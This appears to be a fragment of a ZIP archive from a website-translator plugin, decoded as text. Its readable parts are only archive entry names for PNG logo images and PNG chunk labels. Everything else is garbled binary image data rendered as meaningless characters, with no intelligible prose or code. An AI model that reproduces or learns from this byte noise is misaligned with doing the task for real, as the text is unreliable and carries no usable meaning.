oݺõ»6›-MMM›Þzë­_2ŸÇ$xž‡ÃáèZ¾|ù¯«ªªÞa¦¼^/†MÓP4Mƒã¸¶ÊÊÊ=Ï󊢬ùä“Oö477ßOQyèС;Ϋ›6múÃd¤N§ƒÑhD]]Ýök×®-ÑâMQ˜L¦ØŠ+ÞcYŠ¢P'OžüWM:h+™LbË–-ÏÞqÇÞx<Žööv×ÿøÇWpãוõë×ÿ÷¶mÛÖ½JQT*•š˜ÓíD"I’ä¼¼¼“<òÈ–;wÞïp8:EAuuõ‹mmmÅÉd)‘Ñhƺºº“FE¸Ýî yyy—zzzpêÔ© ŸÏwÛä{AÀ¢E‹þZUUõ»¡¡!Äb1ÔÖÖ> … (ŠI’‰7îÞ°aÃwL&S(‘HLäÙläŽ(ŠH¥R˜?þ‘gžyf}iiiÝÐÐõÀOG£QD"Ÿ×=’¢(\¸páö¾¾¾å“CI–eäç矈ÇãªÍfCWW×jžçÉ©ù¾ûî{Éd2%“É$¢Ñ肦¦¦ Ã@UUqÛ¶mß«¨¨øM,ƒ¢(˜˜›*{4oggg÷mܸñÞÅ‹ðé§Ÿn¿zõê­f³ùsccchiiÙ¬ñ³f‚ P\\Ü"Š"†‡‡ ×L•n·»±´´ôA˜7oZ[[·„Ãá,Y–±víÚÿ(--ÝǧÕ;s]©T ·Þzkô©§žzÄf³Nœ8ñí¡¡¡Ï[¯×›;::n›ìUUa0bz½þR(B}}=wíÚ5÷ä{EÁòåËß ‡ÃB(Âxe½_E”••½ÿÐCý’¢(˜Íf°,‹––– ãÌuiF0 ÈÏÏïÛºuëc‡þ‘Éd2#Ïœ9ã)œœ°Š¢Àl6Gº»»Ã±X «V­2E"‘ ­Jʲ £Ñ.//Ÿã88N‚àòù| M&“¼nݺŸ°,+hŒCt:Ý Ívi÷:NŒ! " ¬¬ìPqqñ™ÚÚÚ¥@á‰ÅbÌäâ¥( t:]¼°°plþüùE1C–åìɲ:??¿ull¬›¦iäää  -qTTT¼™ííìì¼î@f³‰DS9þfmArDŲ,*++ß i@ûýþRM-Nv˲’Ùl–DQD,c°Ú}²,£°°ðJqq±‹Å088ˆ¡¡!»¢(¸óÎ;ßÊÊÊ‚ 7Ìf³Ál6£³³sB¥Î>4MÃétNë9’$a0šNg6ÐީܝCUUM¨Ýð$«Õz–aFˆ¢Q‡Ãv8§"‘ÈŒaÇAÓ4TUÅd2¹Y>L 3’$ÇŒFc èH$b×b}ºX, †Q’$êªÚ€ã8Äãñ`MM Ö®]‹ŒŒ Ð4­,X°à‚Çã˜i‚2¥_G?$IúÂŒ¥Ž#¤EQd¦Zƒ$I$“I6‰èš››“’$…Fãµx3Çq³Ùs8×@Éx!‚$I\¹rPU58oÞ¼öžžž9€âñ8ÒÒÒ¾ˆ™‰DÒ—,Y’YZZzz{{/ž={önÍr’$!Âét¢¼¼Š¢ôG£Ñ‚ Ì©¨ª †a0µÃœŽãâS]J’$A`}>ß-6›íœÝnGaaá,Ë>©é*EQln·V«&“ ²,‹,Ë^›Kм.Šâ—A¦§§NÊ¢ §§g™ËåI’ðx<§\.×Åq&Ã0‹W®\ ·Û A&Øæ‹ìq¶I’Eq¢6ÌÚ¹¹¹½Ó`===ëûúú8Av»}¬¬¬ì€ßï_J’$zzz<íííàyªª¢°° Ã`®žÐúúp8Œh4 ·Û QaµZgÿ Žãš'h'ƒðûý===¥z½£££X¶lÙŸÓÒÒ®ÞÞÞÅÇ™çÍ›§Ó9gëiy3::Š®®.\½z@kÖ¬ÏóÈÉÉÁͨz‡£Ýb±Äâñ¸irÑg(¶»»ûþªª*o(‚^¯ï^½zuMmmí®ÁÁÁâ¾¾¾n·ûãT*…¡¡¡YÓ¥Võµþ"‘H`¼ÿ€$IÒd<÷0u¦uƒ'V­ZÕår¹Î¥R©.²,‹S§Nmmoow$ äææâÞ{ï}Åf³ùyžÇ¹sç69¤§§###™™™³ÚYYY ( ñx|âð3Õ ñÈT*¥”––ÖÌ”@ ÿÌ™3$‰ááadeeu?ðÀ/ªªŠÆÆÆ­ýýýùǦéYm­ÎƒÁ?é´Ø¿ß… ¾oµZ£Ó¡i}ôÑ.–e3ìv;TUÅwÞù›Õ«W¿ã÷û³Ž?þ°6§©gž¼)ŠÂµk׉D0ƒf›v‰¢8#ÒétbÙ²e­K—.=<]"±,‹`0XrìØ±] Óé`·ÛÕÝ»wÿ ¤¤äüáÇÐÙÙY¨ÑòßÛªª"£­­mNnZ¤ UUU¯³,›šÎz½GÝÓÚÚº‚$IȲ «ÕÚ»wïv»½ÿ·¿ýíËÉd’0™L0 3n£Ñˆ@ €hÞû"…qªGHíBqqqCEEÅé\FQA°¾þúë/‡B! EQEééé½O?ýô×dþå/ùáleÆ—}Úy'{„ÔëõÐëõà8[¶lù9ÇqÃ3yãÊ•+·íß¿ÿEQ'ôSfffïîÝ»ïéèèȾxñâ3%«öÿ/ÚgOgX½^ÿùß{÷î…¢($ &“i@’$âÂ… ë§m5¶êìì¬ëãñ8òóó166–°X,uYYY‚ÕjN>¸vàp8 màÕ×ׇôôô‰¾[ð<žçQTT„P(„ììì¿›7ZqÕétˉd2 Y–±qãÆWKJJÞåyþ‹–eÑÐÐðÓÖÖÖ'†,Ëèë냪ª¼N§ëÓ?®„qñâEƒAÔÕÕatttV´:תOÚl6hÛl6Ãáp?þøn§ÓÙ6qëÒMMM¿hiiy.•J‘ýýý`Yv‚ÏÛÛÛÑÝÝ––Ô××#•JMÌZÿ‹œüzV›v»\®¾Ý»wï°Z­}Sû­ïfY–zï½÷ž~íµ×Þ¢(Ê¥5#‘¼^/xžÇøÛ¡‰×Vÿˆ.nZÓ¤T*…üüü³ßÿþ÷¿a6›ûxž¿Î…Ú6 8uêÔ7jkk?¸G¯×OTåÉùðÏ^3(ÏóÈËËó>ùä“_ËÏÏ¿”H$¦µ$Çq‡Ãžêêê#ûöí{+ –²,‹¹|ðOAxžGaa᥯ýëwý_2™œv:Á0 (Š"¿ùì³ÏÖ;wîw¡Ph˲”¦™æš°š'o¶gõ2~ü]BpóæÍÛ|>ß'‡þQ8vqwŽ´ Š¢õÂ… ¶µµ};//ï¯.—ëXEQ­ƒO&“/' C-'Ç¢mllLo±X‚Š¢Ü4‘­pMÕúÃÃÈÇãHOO‡×ëEZZL&R©”ûäÉ“ÿîõz·Çb1£öùÃÔB¦õA€¦é„ÃáèÊÏÏ¿j0Nèv¹\£‹%¡ÓéÄÑÑQãðð°µ··7Ïjµ.°ÛíÝFcÇÍ­ Ì„ÅbMÓ°ÛíÐétƒ%õõõßiii¹oxx8_ «Éa0¹(iŸEh^ÐÂRûÎ####éñxŽx<žÿq8¹\.a6l¶`ÁÌ™¸EA2™„ËåºTVV¶gÉ’%Ï‹¢¸áüùóý~ÿržç¦R)z¦é…öQŠÁ`PL&ÓËåútñâÅÌŸ?ÿƒ‚‚‚®Äb1hŸ]ÌÈ®>š,Z½zuµ$IÕëׯ7‡Ãá%çÎË+((ðŒŒŒäŒ£5ý%ÚíöPggçg}6lèðûýƒiiiÑfºs>ËÿšN O4ÈMIEND®B`‚PK.—[ŒŽ=ê%ê%1google-website-translator/images/logo-promote.pngnu„[µü¤‰PNG  IHDR¸F«^® pHYs  šœ cHRMz%€ƒùÿ€éu0ê`:˜o’_ÅF%pIDATxÚì}y|Tå½÷÷œ™3sÎl™ì+aHØBB˜6·@S”àE¹µ\…jµµ¾(Öjíí}QûÞ¶¯ÚWPïµu)¡­ÖP´‚ Á%!¤& !û>™}ŸsÎÜ?8'†™,­oœßçs>™œåY¿Ïïùþ~ÏFø|>Œ$<Ï#€ã8¨T*üðÇ#E£Ñ8}ôÑï/]ºtGss3X–…N§ÃÁƒ±dɨÕjòäÉ“W777o¨­­½Án·OŠL&Ã0cÒÄØi³Ùœ600vòäÉ:®Íh4~rúôéŠiÓ¦}Ʋl0Ša=ðq A iŸ~úé­ùË_žjmmÍ—ÉdHNNn[¸páCË–-ÛÐÝÝP(¯× FƒÎÎÎâÊÊÊ-UUU«½^oMÓ`æÐ1"¨ÃÿÊd2Èå³áõz ‡6TWW¯]²dÉû………/0 óyŒºÄ>^pk<øø{ï½÷0Ïó4MÓ (Ê{óÍ7o!IrŸ×ë…N§ƒÇãJ¥˲ªööö‡<ø#‡Ã‘¥T*¡Õj!Õ®Ñ4-Çqƒ`Yv˜®¨T*–$I^.—8Ž£xž—y½^9Çq >ŸOûÑG­¯­­]ZZZújnnîv¹\nŽUw à#¿,—ƒa˜i‡z¶±±ñVš¦Á`ÐsÏ=÷<°zõê½" €aã¶mÛþ³¾¾¾L©T{/F¢<ÏÃï÷ƒã8h4kvvv[rrr{ZZš599ùlccc;AÁ””»ÍfÓØív:///Îçó-ééé‰3›Í™===ÓÓvíÚõ‹ÆÆÆ’’’’ŸÒ4}ÌétÆj=ðËE­VÃd2Íß·oßË---Åjµ<ÏÃãñà¶Ûn{zõêÕ;‚Á 8ŽÇq i~¿ÿ–Ý»w?c±XfFrËI{…P(„@ €P(•JåŸ6mÚG .ü<==ý`{{{÷’%KRSSyN‡íÛ·Ãëõ‚eY„B!°,‹•+WB§Ó½ÚÙÙ‰êêê„âââŒøøø««ªª–Õ××ßüÖ[oý¢¨GKJJ^‹üÛ#Äh~pŽã —Ëqþüù¢gŸ}öõ¾¾¾<¬n·F£ño÷ßÿ÷SRRÜ"P)ŠÂ{ï½·içÎÛ}>Ÿ–¦é¨üš øý~ƒAL™2å|FFÆž²²²=ÉÉÉÇÌf3—““’$ÑÖÖ†–– bhh¡P4M#%%S¦LAaa!‚@GG:;;¡×ëa0pæÌLŸ>½à7Þø×ÎÎβ¥K—¾µdÉ’íJ¥ÒÞ‹Äüàß2 N†Á¹sçŒÏ>ûì³Ep¤¦¦¶nÚ´éßµZ­› ˆ¾èwÞyçîW_}uI’‘ÆD7Ïóðz½HHHè¼êª«* ÿdµZ›9ŽƒV«Ïó8zô(ÊÊÊ P(R‚ÈbY6$I5€I’AŠ¢,jµºO­Vwõôôpv»%%%èîî†ÙlFNNäryCFFÆ/®¹æš?ÔÔÔlHHHøî¼yóÞà8΃À·à¢vëêêÊݶmÛz{{gk4ša`rç_¿~ýc3fÌ8/> áÈ‘#k_{íµ‚`(ŠŠÚpü~?B¡®½öÚ¿effþª°°ð¤ËåBBB´Z-:::ä ö··—>õÔS+{{{gø|>m `X–¥€$I^¡Px …+11Ñ’™™¹Μ9Õ.—ëS¥Réššš T*áp8.äçç?UTT4“eYA1€Ov€‹¡TH’„ËåÂùóçãÞ~ûíç;;;‹4Í0Íðx<¸úê«÷-Z´hŸè¹p8¨««[XQQñ_<Ï3¢æŽn¯× ­VÛ}Ýu×ýjݺu¯Ô××Emët:µ---e555w477ßàñxèP(¹\><ð#åí>Ÿáy>¡¯¯/»¡¡ÁxèÐ!¤§§×®X±âÏéééoSÕÕÕÕ…ÒÒRtvvÂét">>¾ipp0VûßV .¸ÉãÇÿ¼¡¡a•¨¹ ‚@0„V«u­Y³æ™øøø@0„B¡ÇqIû÷ïÆf³¥«Õê¨^—Ë…)S¦œ¼ýöÛ¶X,‡ü~?Š‹‹ññÇ£¹¹ùúªªªGNœ8q}(¢hš†J¥Âxkººº¾òÊ+ ÃÝeee/¨Tª?ð͘16›m¸·‰É·à‘¸1I’8vìØmxaRúŽßïÇ 7Üðjaaá?DíÏóZ¤2ášÛív#;;û[¶lÙ˜””Ô ¡R©`±X²vìØñ‡†††•Z­ö’oÄ#žçAÓ4LYYY§ÒÒÒÚããã‡Ôjµ‚Á ÜjµÆ Léììœ144Tèõz5¢»RœßÒ××—ÿüóÏ¿~ß}÷ÝŸŸÿ‘Ø;Äþ-12E¿rmmmIee冹¤òY–Ã0¶’’’× `±X§Nº©¾¾þÆh9~¿z½¾ãG?úÑ})))¡P ÃÀf³%WTT¼|úôé•:î2m/—˹©S§¶ååå½™ŸŸ8''§î½÷Þ³åååñ©©©P©TÃé2›ÍhhhÀ´iӘ¹Ÿ|òÉÕ­­­·455]år¹h•J•J‡Ã‘ýûßÿþµŸüä'wÌŸ?ÿóÿ\ä²$IÂëõÒï¿ÿþÿòz½—iã@ €‚‚Sffæq‡Ã…B‚ ¨?þxAI’ày>O|ç;ßy<99ù˲P«ÕŠ?ÿùÏ¿9uêÔMRÍͲ,|>òóóΜ9ó¥Å‹ÌÌÌì3™L`,ËÂï÷Ãçó Óñ^ €F£ñ*•ÊcS¦L9vË-·¼ÜÐаüóÏ?ÿá‰'V‘$)£iv»=û¥—^zé©§žº9==½=É-ÃdU¡P ¡¡áºººº›¤3üDí …`4ßINNvÓ4 ­V “Ét]ccãŠh#•^¯×_ý+·ÜrË›Z­v»6› ï¾ûî¦Ã‡oÒh4Ãî>¯× †aׯ_ÿèòåËWçååýÑápô‰±!Ž$â{ÇÁétzŒFãþ»îºkÝæÍ›7$%%t¹\ is_{íµ§åõzár¹àr¹bh˜Œ×jµÐjµ I¼'¨Ã ½P(F(((8èóù†=G]ç÷û•‘x·0ÒyzõêÕ¿Öh4¼¨;::fíÝ»÷g4Mbƒðx<ÈÊÊúìÞ{ï½uÕªUÏx<ž!¿ßÿ¥8±èo'IÒ—••õæ}÷Ý·öÚk¯ý‹8ñªªª¼¦¦¦<ÀëõÂã‰ùLJŠÒÚÚ ™L—Ë5¯¡¡áÆpî-Ò€ìììºÜÜÜÓ@  (*¥¹¹ye¤ÑÊP(„`0È­Y³æùøøøn³ÙŒþþ~0 C|ôÑG?0›ÍÑWîñxP\\¼¯¤¤d3A⪉ыÂ0LëÃ?üƒ¤¤¤žýû÷ÿ˜ zÏž=çææ~À*zVb2É4¸F£A\\>ù䓵n·;.ÜÍ'îLŸ>½@€$I̘1V«µ°»»;#’[Ðëõ"//¯jÉ’%#In·:‹%¯®®n½B¡pq²ÖÂ… ßÚ°aÃ=Atp÷•eTXê6?]´hÑS$I²­­­KNž¾¾>h4ØíöbÇ£ _-#påÐÒ¥K_KJJrpµZ¸¸8œ={v­ÙlÎR(ðù|˜5kÖ‘uëÖm…Bf–e¿ÒŒžç¡×ëC«V­ú¿+V¬xÕëõâØ±cwX­Vº··7††ÉHQ„yÞÅÝÝÝs# ²ð<Š¢ìyyyuÓ¦MÃÙ³gqòäI²½½½Pô¾„Ó™ŒŒŒSF£ñ ÅbA\\”J%\.—¦¶¶v5EQˆï\¾|ùÃAôŽÅ€œaY³fÍ~ÆŒ_¸p¡àìÙ³%ÍÍÍó CM “Pƒgdd ¯¯o‰Ëåb"­]ä8ñññ@ «¯¯õõõ¨®®Ö L oâMAAÁûÁ`°wpp---0™Lhjj*ìîî^,—ËÁó<{Ûm·ýŸ+VœÈÈÈ@zz:,X€ââb Ï$Çqày¢+Sh²­[·îá@ à,IOO¡a2jðêêjeKKËR霎pp$''÷WWWûH’Drr2”J¥êôéÓéá†ò‹-ú@\q#øËqîܹâ`0HÀôéÓÿn4ß I¢‘JQÔð0ýDrqžç‘ŸÏ§Ó9ì–ä8µ7ÞxãŸL&ÓUÙÙÙò«¯¾šAbò™ÉS#Ñ‚ À²,4ÍPvv¶Þ¼y(++âE‹âÝn·Fº_‰à9AJJJczzú‰””Ìž=sæÌÁ¬Y³`6›gq™LæüÎw¾ó_>ŸÏÕÓÓƒ  ¿¿===ðûýÈÏÏ¿lýJ€-.gÓëõâè), l6œN'Ôj5–.]ú;’$ƒÇŽK‰Áajp¹\>ÕjµfF¢'"È´Z­#99™¥( n·.—+% ¥„7†@ €Y³f¿pá‚ËívcÞ¼yHHH€L&#¬Vër¿ß‚‚‚š„„„C.—+ª¦×{F2zÇ"¡PjµzxV¡ÛíŽ8‰‹eYdee5Θ1ã………qzb˜dïììœíóùtᣗ"P„¹áñy ˲2ÔÒ©ªAÀ`0´æååÁëõ‚ ØívP¥t:J¸îºëveddGX …B˜9s&4Íqr–e‘žž>¦BæÏŸÿ1Ã0\ “à)¢ x ñ™”§‡Ï;Q*•®iÓ¦Õ¥¥¥çy˜Íføý~PE*99ypêÔ©GÔj5D_8<\uÓ2KGLé1à]—=µ# õð÷FÔC Û»<=æBøÍ‚}õ4M+6î_CÄ$’ŠÕ5[,–´±îü$…Eq¢_Y pFã´X,}gÏž…V«MÓ¢Q ƒÊœœœV†aÚZZZƒ®.€­6FIB€ á·!ìŠf€#’ßågÿXÃðÅ 1 5¸ÍfK àA„€‹²Ôj5t:ÝAVñR€ëõz{oo¯ãìÙ³(((€ÑhD(‚B¡à …Ê”)Çf̘ῌvt]àM–Em€'#Ü× ß¬P.ù’ÆÒ`/€í#=&“Ì‹”£Mjòx<´ÇãÃáÀÀÀ\.×Z­î—jpÈÞÔÔToVVÔj5´Z-RRR ×냉‰‰Õz½þÔÐÐ,Ë%W Glx7 n­ µ¥bð€V‡£4 ˜L6 N?’&¬¥ÔY­Vùàà {äÈ0 ãIMMíœ6ÙŠà8Ž I]]]§§½^ßæt:í»víº<¢¬ Ï×^á*°CÐèRY&} €m1Lb€ôPܽÕét&vwwÓjµÚµ`Á(•J·Ífëiþˆ\.‡Åbæé999'xž·~ÍùÛ+ô‡#€ž0UzxX Àå»h½ŽØóP/ô,Ñd£÷²ÞÃxr„wD:6OH¯˜cXï¥Â{¼µÊÂ8JwJl iY=8J9‰Ô2¼g6 ßO•ÄmÒ'–çνñØ …Fä'2™ 饥¥ªŒŒ —ËåI’¡ÖÖÖs¢¡)áð!™L"IÇ¡¨¨‰‰‰â~…Ÿª"Frá+y=€RuQž?`_X!ŠF¯^øÎ¡ál ð2w…Èõ篈dä ÷EI[é(»Q–QÞ–è^xÿ‰(án%¿k£„+–ÕV!ìpêX4Bšla=è2IC3HòùÄ(<:W(þ‘|Å2™ ‡#ÛétNu:ÆæÔ©S?Q©TŽã†Ý‹,ËÒCCC´8ÿ[¡P ..qqqˆï5  ¯¯Aê#¾T¶ŽP‘*g{í\)€¾TòÌ(P¤º´cýÀ‰Ô:!\1Ì'„¸ÛF±SžÞéŠq¤Q*G¢|×6ŠfÏsi„²}BPDã×àqqq–‘fó‘$ ¿ß¯2™LE§V­Vƒa$''ŸÎÎÎn9þ|‘¸zÝl6ësssuÓ¦M˲ˆ‹‹žè …BÇý3WùîäË&0žJHÏ…uÅ;möeeO„Ʋ}ßWŒƒvý3D¤O‡#P¨úñÒ211±g4€³,‹ööö¼¢¢"äääˆ;º:æÎ»On¶t‹#";11‰‰‰Ã³ ¿!',´¢M&²+‰¤ñŒcà¸c‘eQèÊxä›nXWFQF{ÆÛ8É´´´~q3UÜhiiYér¹§Ó ›Í†ÁÁAý]¥RYDT]]]ù}}}èèè@WW:;;!ðöo ȯäÙ×ÿ—‘ç„b&‡DSz!ŸcxffæY†a,â&šÑ<"3«««ç744 ¥¥‡ Ç ø|>Èd2ð<ÖÖVCww7úûûÑßßîînØíöo Àõ_ðŒ¢5mö¦ŒÎÃB¬ÂoñzN°3®´<ô5Òš­‚Q.Щð2+'-KgbbbßH.?’$áp8¨ŽŽŽ£ÑƒÁ€`0ˆ`0ˆk¯½öeŠ¢ì,ËB©T¢©©i~nn®fáÂ…(..ÆâÅ‹‘’’–eA’dÄëkÖ Ñ܉Õ€v• å”ODpE^©T ò@V$סx=$¤Al;ÆIÉô=øªå9 5iÊlm”F0&º'—Éd欬¬ŽÎÎÎ9J¥rDŸ;wn˲/¦¦¦:e2z{{‘’’RUPPpìøñã+Õj5úúúŒçÏŸ7êõúϤÓa¿»HG0j¶O@ØkÂ4]¥à¬˜ ÍÞ ÷âR¸AZý(Ø(4ÂÒ1zHDî¿c/Ì—‘pÍ,ºaE>þDE2ªÑN.X° ››{z4* 477/hjjºVÜ2yΜ9ÈÏÏÜ|óÍ¿U*•.a¿nå‰'Vddd ))iøJNNŽz}Mò`”ûO^!E1Ñ*t©b¬@àÙö€;¼qÿJ…«HHƒ8m¡"ŠVÞ:Îø6Ž—S{KÌʰ:ª TžàE!//ï†aÜ#-“ÉdƒªC‡ýÛ… ˆÎÎN˜Íf9sæ|<þü¿z½^q·Ùr·Û¤R© T*‡O6Žv}MÚ{c”îþJ= m¸èzÔGÍ7Å '6€MQ(ÒXÓù„¤‘ˆ ŸÈ++ëÄh[70 ƒºººRŸÏ77..nx#Ïóìw¿ûÝg“’’.ð<ÎÎÎyUUUkÅS‹Å9-Ñ®¯Á°Œ¤u¶L@w[! #¢O ˜¨Æz%a×Iãz“„6ˆ­q‚êç¹°tÞ%€z©@óŠ„+R}í)d__¬V«+??ÿƒðÍ3#iqÇ“¶ÿþÔjµ<''gxQqFF†éæ›oþAŽãpèС{†††ôâóÀõ*¢R(¬m‡hôÙÂ@X7Aˆð=Wò#h÷'¯ ¯EBŠyü2=–>Lˆœ{»Ï–0ª²7ÝÒÔ£ À¢(”””ìÓh4ƒ#Ñ”P(¥R‰S§N­ëèè¸F܈^4N—/_þÖªU«~Çqš››‹kjjÊ¥«Ø£]_°·ââŒA£ØkÇiXĿþ¢°Ê0|IF FË„¼mƒ7$’g§À´(Ü8 •iÊp­ðû !-Ž#"-•€Ms¼ðw¤úÙ…Žä%„ *Áó<ž{O>ùä®ðc¶¥7´/,,üð‘GY“””äOYËåp:êgžyfçgŸ}ö/Ó§O¯ê©§VÐ4=iѯ(T^~ëð>Û6\ºBÇ.ÐT‰µ¿L¢ Žà‹Y…c•eB÷hˆÂÝm’0w†…½1ðlaÞ”'ñÅlÂò( jâ×´‘ ½z!¯í’ÊgC–cl«›¶JÊ.šçf_ ZŽKšDÊG…PN¢Ç§_ÌóÙ'Éçxdk”²ãCÅêš' ñ´1†apúôé’gžyæ]žçu#\.w÷Ýwo^·nÝÃG ‚ã8Øíö¤çŸþ•ªªªò²²²§×¯_ÿóôôt.Ú"àï¿ÕX^/Tö¼(ɲ㋠>møçŠè: O[å…¿l f=¾ÅR±ºæ‹ùà>Ÿ³gÏ®ž?þ;Ÿ}öÙµZ•¥R)Û½{÷/g̘Q“““s\rn=”J¥ùþûï¿G.—•••[ŠŠŠj²³³ßž_¸Mâþ¦KýW °JÄdT!ÅÑD‚ —˃7ÝtÓ‹Æ>Ò,ñü‡Ã‘ðÇ?þñWn·;^œÏ"ÌIMÓC<ðÀÆ+VüùÍ7ßüMccã¼Ø81ùº…p»Ý——¦i¼üò˿ٷoßcÑŽ £*X±bÅï6oÞ¼™¢¨ pq[d‡ÃF¯×+ýõ×· ]óÓŸþôû:Îæ8(Ê^DŸxèÞ®ÓGásúqð¼Hï†ß3HhôÙ²qjWé·#¥£¤i,iK^ÇSNG9_I¸c-sàÒ•@€?ü²Çü²™„EijjºÁjµ¦J÷/‰$r¹ÍÍÍÅ~¿ßk³Ù>;sæ úúú›› žça·ÛyŽãªŠŠŠz)Š éõú¡p€ïk~-’…ÉS± £lïà¬Q.ÁÃÖ­Â_;€õ‚vÀ4â¢ÿõ‡‚¡# ÷/üLa÷Ò•€m‡àEØ `€_¨â\&öK­/B’¥q­&OÕBºiá~.ŽšŠù1 •,V¨OHÏ^Á˜4ßù„8*ÂÒpXN$®õÂ÷F½’øÄ…ÚýB>÷8)¤»ÀcBù– áì‘”³_̉ÿ!€BùIã8"<ó}t e>[xGL—^(w#€ú;ï¼òH;LÍœ9³wÆ ÿ±mÛ¶?±,«vö¥Àq T*‰wß}÷ñn¸Á¡Õjÿ›¢(( ˆçhƒA¤§§‘ÉdWÊQƳ8¸2Š×¥2L V #N<ª—x ܯ Ó Þ‰'%ƬAxG êí’øÚ$œ<Ò¸öFñŽTFÈ!‚!ÝV¢±½IñƒÂïr!{%=e}˜‡¥>BùmÄ¥dâ"„¥’{õÊY”»¢”I[˜Q\?Æ2ß#qZZZÐ×ׇãÇä…(ú =B%KW“?'tãFAÕãò¹Ç¢_zg˜v+.]—¹q„ 6Œ1®h=Ô“ÂÍU(>o“€|¯çQ¹SøfoX¾ÄüŠPöl¼¼ºM’¾±Ž¤F+ómˆì_&âFöÄO\¦QÅJš¦Ù¼¼¼OÏ;·¨¿¿?{4>.hcå™3gVšÍæ”™3gÖöööºãââÀó<ijéOŸ>êêj §§uþ#ù7]‰±ã¬QJÃèxa›ÀE ¸8Ë®Qxö{»-ÆÅQ´~|1€Ó'Äï8¥]òMø»S¸oÂ]&¶ÀãB:Ò…Â&„ûk„ßÑâò <Ü$ ;¹B¡€N§Þ–9`hh­­­Ø°axžGmm-–.] …Bñžý#=u9&“CF]/F„xÞ|ÃæÍ›ÿmöìÙGœNç˜öÝV©Tðù|Óÿô§?½¸gÏž·L&Óu⡳1‰É7à¢ø|>$&&žûÙÏ~vûâÅ‹_÷ù|˲£Nw•Ëå i𬭭-{á…Þ}ùå—wX­V£¸"&1ùF\<¢D«ÕÌž={SYYÙÿ–Éd¶ð‘Ðhßj4°,wàÀïöôô¼væÌ™Rš¦ã(Šú&¬ÙŒÉ$ùx?`Y'8oÞ¼_Õþõ¯ÝÚÔÔtR©ÄHBÀE¹Z­˲YŸ~úé÷kjjþµ   Z­V¿›““sL¡Pœ”Éd’$!“ÉF /ÎÉÉi°X,M$I^Ëåv¥R išW*•`f¸7FQI…B¡°Z­z—ËUàñxrNžýË—/‡eYëxiONNN 1 ŽË@À0LÃúõë7/\¸ð•†††»>ÿüóUf³9? A.—_6,~˜•HIÄ%n<ÏÃf³M5›ÍSY–vù‰~v¿ß‚  V«1wîÜ÷ï¸ãŽŸO™2åÇcƒ1OML&àR Ûív †ÓÇ=¢ÑhžeæÆãǯéîî¾Êáp$¹\.¹0ïüÎF)•ù8˲·—KHH°¥§§7eeeýý†nx_¡Pœ (ŠíííÅX<;1‰üÊøŽÀ½^/äry_bbâÎÇ{lç‰'f=zt®N§[ÔÕÕe´X,ÙCCC >Ÿ/E®tPFÔèU±%&&:ããã»ÓÓÓ[srrj9Ž«^¾|ù©ššÃ0ày#»“À'\ĉU~¿~¿¿I¡P4Ý~ûí»TÕÕÕIÅÅÅñóæÍ›ÙÓÓ“b·Û5Á`Os#"¤V«=IIIN§Óiªªª(..¶.X°Àl0°wï^ø|¾¯rU~L&‰üÏEm&žÚIEND®B`‚PK.—[³p,ë ë /google-website-translator/images/logo_white.pngnu„[µü¤‰PNG  IHDR23Õc[ ²IDAThÞÍZmLTW~îF Ë?ZkÅ¥4ÐÅ%Ⱥ¥nüèζ6«m°[~Hâvcè&.»º±¶Í¦Ù&mŒÑ"ã¶]%mJ!MKX³bK-t :Pe˜é00à ó}çÙÜéŽã TtÞ?3÷žçœû>ç}Ï9ïyÏ0G!™@ àY8!‚> N *ÿ.’ÿ{¸8¸¸AÌUaŽ$òTø•Á`¨-..¶™L&-€ô2&ÀfOÈ ƒ«Hª$ ‚  ƒA~’®`0h&ùB¡8§T*?Áˆù’)$_'é%|ñÅÿÀàr/ƒ¤ŠdÉÎA<ϤÍfûdö|‘XO²‹$'&&&KJJ|‚ …âi¹|!É]$¿åŸÏ~—äŠ;æZ$÷xÀB’زe š››¿ð€6—˵B¥R½à Š™Ú3™LÐëõèïïÇW_}§Ó A V«‘ŸŸ•+WbÕªUX²d &&&Ü}}}ûŠŠŠNü+(Iþ#¼§víÚEAÙ÷Aò$¿›¡w922ÂcÇŽqóæÍT«Õ0à€wd׬°ÀŸ¼§V«Ût:ÝèñãÇi³Ù‚çÏŸ¯“'˜Y“HÖ„+T]]M°KÆl!i›ŽD{{;wìØA­Vë“•?`saaaÉ¥$W“Ì&©%)F¨‘`ã£>úÞÞ½{]§OŸ>ÛÞÞ®™ É7¤V«%€jóó™üüÀT*•Ð`Gvvör’O“¬'9DÒ&I’W’$o °ûý~ƒ$I§eLdï/[¹reUAAÁߤÅK¤”¤?\©òòr %ù0Ic,W®\aqqqÈzúûû$ùW’ßÄ;ØívûÏçÛG23B½4KâZ#HºÃmii )U.cc)pîÜ9feeÀÅ$·Íu&“$‰V«ÕÒÑÑñëÙŽ ÉŽðƼ^/×®]K-2f{¬Ÿ={–IIIpîþûï_Brw,¬ßï§Ýnçèè(- - ÇÇÇév»oÃ~ôÑG¯Ì†ÈïHJá\¸p©©©^kIf¼M±Ë—/3##ƒÎH"ùg’ÁHœÁ``MM KKKYXXÈÉÉqdgg¯^½z¬  `üÉ'Ÿt¼úê«þ‹/ÞF¦¡¡áŸñXH²'òä\ArG$ææÍ›,//gJJ Ô(Pàǰ @>€‚ ¼¬Óéº.]ºô}n·›»wï><‘=Ñ””áp8¤}ûö¹¬'’.IÒµ( 5 l”q½‘˜ÊÊJè ’ÇÐIž9s&ä’ó‰þùçhjjòø}8‘\I’‘Jêõz.\¸Ð@CrÉ[0“““ÌÌÌ$€J¹G$I“{ì183Ÿû¢¯¿þúbzzzsè GEu$Øn·ÃãñXLÊ!Á-˜¶¶6X,€åW«DQLÿì³Ï]]]c^Ÿ/"‚ ¸233OæääH!½’Dû|>°Ë~¾ ²¼³³ÚXäW‹GU8 k>w«æß™™™÷X 7 ÀÒ¬À«¡öövè {µÀãñ8Z[[8ŽyAL¦@rÈ"KâØA~'o¦ÄµÌf3äð<$Á¡¡¡^’hÅ]«Õj é$PF©TªUÀFB@n·ÛÀVe¨»»ûºL‚¸{ ‰úÑ´´4¤¦¦¦NYQDQìw;Q%9/³$I½r\v×%æj«Õj‘‘‘‘.'Õ ŠbG· ¯?øå—_^ã©».Ir¦ï6INNFQQQ–Á`ø‘ÜóƒÁ*Q…  ---rðùäè7ë^YäF¬Â’’%€bù±Ûår €B¡@vv¶2ÊÞÙ7]{óM¤?Vá /¼Ažm¾_I‹ŠŠÄ[b{-$X[Ò’’’ÑÐ4ìñxñz½þ°ÿT"yÀëõŽÅ"òÚk¯ÀÏBx‹Åòi¨lݺuúD"’êr¹:béîîæ²eËÞ ÃkÇÇÇÝ$yôèQøiÂq8/O—–yþùç á{hhèo’$Ñl6sÍš5ï$’Uò€4U222ž ß ô‘äþýûV$ «Õz~:«9rÄ×ÕÕe 